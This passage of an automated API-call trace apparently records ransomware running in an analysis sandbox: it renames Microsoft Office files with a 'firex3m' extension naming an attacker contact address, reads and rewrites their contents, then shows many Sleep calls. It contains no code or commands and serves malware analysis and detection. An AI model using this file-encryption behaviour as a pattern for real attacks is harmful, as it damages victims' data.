files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.126] Sleep (dwMilliseconds=0x1) [0261.201] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG") returned 1 [0261.201] GetProcessHeap () returned 0x630000 [0261.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c74) returned 0x6fe3bb0 [0261.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0261.233] CloseHandle (hObject=0x5e4) returned 1 [0261.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0261.666] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0261.666] GetProcessHeap () returned 0x630000 [0261.666] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5061) returned 0x73da3d8 [0261.666] GetProcessHeap () returned 0x630000 [0261.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5061) returned 0x73aa630 [0261.667] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.667] ReadFile (in: hFile=0x5e4, lpBuffer=0x73da3d8, nNumberOfBytesToRead=0x5040, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesRead=0x37fff0c*=0x5040, lpOverlapped=0x0) returned 1 [0264.109] GetProcessHeap () returned 0x630000 [0264.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0264.109] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.109] WriteFile (in: hFile=0x5e4, lpBuffer=0x73aa630*, nNumberOfBytesToWrite=0x5040, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesWritten=0x37fff0c*=0x5040, lpOverlapped=0x0) returned 1 [0264.110] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.110] WriteFile (in: hFile=0x5e4, lpBuffer=0x73af66f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73af66f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.110] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.110] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.110] CloseHandle (hObject=0x5e4) returned 1 [0264.111] GetProcessHeap () returned 0x630000 [0264.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0265.589] GetProcessHeap () returned 0x630000 [0265.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0265.589] GetProcessHeap () returned 0x630000 [0265.589] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0265.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x635f78ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5083, dwReserved0=0xc507496, dwReserved1=0x73da3d0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0265.590] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0265.590] Sleep (dwMilliseconds=0x1) [0265.592] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB", len=0x65 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB") returned 1 [0265.592] GetProcessHeap () returned 0x630000 [0265.592] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bdc) returned 0x6fe3bb0 [0265.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0265.602] CloseHandle (hObject=0x4f0) returned 1 [0265.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\muauth.cab"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\muauth.cab.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bb01a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bbb, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MUAUTH~1.FIR")) returned 0x6d4f00 [0265.664] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0265.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\muauth.cab.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0265.664] GetProcessHeap () returned 0x630000 [0265.664] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4bc1) returned 0x6f05388 [0265.665] GetProcessHeap () returned 0x630000 [0265.665] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4bc1) returned 0x73da3d8 [0265.665] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.665] ReadFile (in: hFile=0x710, lpBuffer=0x6f05388, nNumberOfBytesToRead=0x4ba0, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesRead=0x37fff0c*=0x4ba0, lpOverlapped=0x0) returned 1 [0267.879] GetProcessHeap () returned 0x630000 [0267.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0267.879] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.880] WriteFile (in: hFile=0x710, lpBuffer=0x73da3d8*, nNumberOfBytesToWrite=0x4ba0, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesWritten=0x37fff0c*=0x4ba0, lpOverlapped=0x0) returned 1 [0267.880] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.880] WriteFile (in: hFile=0x710, lpBuffer=0x73def77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73def77*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.880] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.880] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.880] CloseHandle (hObject=0x710) returned 1 [0267.880] GetProcessHeap () returned 0x630000 [0267.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0267.880] GetProcessHeap () returned 0x630000 [0267.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0267.881] GetProcessHeap () returned 0x630000 [0267.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0267.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bb01a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659e0ea8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4bdf, dwReserved0=0xc507496, dwReserved1=0x6f05380, cFileName="MUAUTH.CAB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MUAUTH~1.FIR")) returned 0x6d51c0 [0267.881] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0267.881] Sleep (dwMilliseconds=0x1) [0269.841] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF", len=0x44 | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF") returned 1 [0269.841] GetProcessHeap () returned 0x630000 [0269.841] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b44) returned 0x6fe3bb0 [0269.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\stencil.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0269.843] CloseHandle (hObject=0x4c0) returned 1 [0269.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\stencil.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\stencil.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="STENCIL.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STENCI~1.FIR")) returned 0x6d5380 [0269.846] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0269.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\stencil.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0269.846] GetProcessHeap () returned 0x630000 [0269.846] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0269.847] GetProcessHeap () returned 0x630000 [0269.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0269.847] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.847] ReadFile (in: hFile=0x4c0, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 44 os_tid = 0xc28 [0067.197] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.561] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.828] Sleep (dwMilliseconds=0x1) [0067.935] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.491] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.748] Sleep (dwMilliseconds=0x1) [0068.791] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.250] Sleep (dwMilliseconds=0x1) [0069.291] Sleep (dwMilliseconds=0x1) [0069.379] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.528] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.764] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.058] Sleep (dwMilliseconds=0x1) [0075.108] Sleep (dwMilliseconds=0x1) [0075.155] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.155] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.982] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.195] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.711] Sleep (dwMilliseconds=0x1) [0078.718] Sleep (dwMilliseconds=0x1) [0078.741] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.773] Sleep (dwMilliseconds=0x1) [0078.781] Sleep (dwMilliseconds=0x1) [0078.844] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.961] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.029] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.805] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.162] Sleep 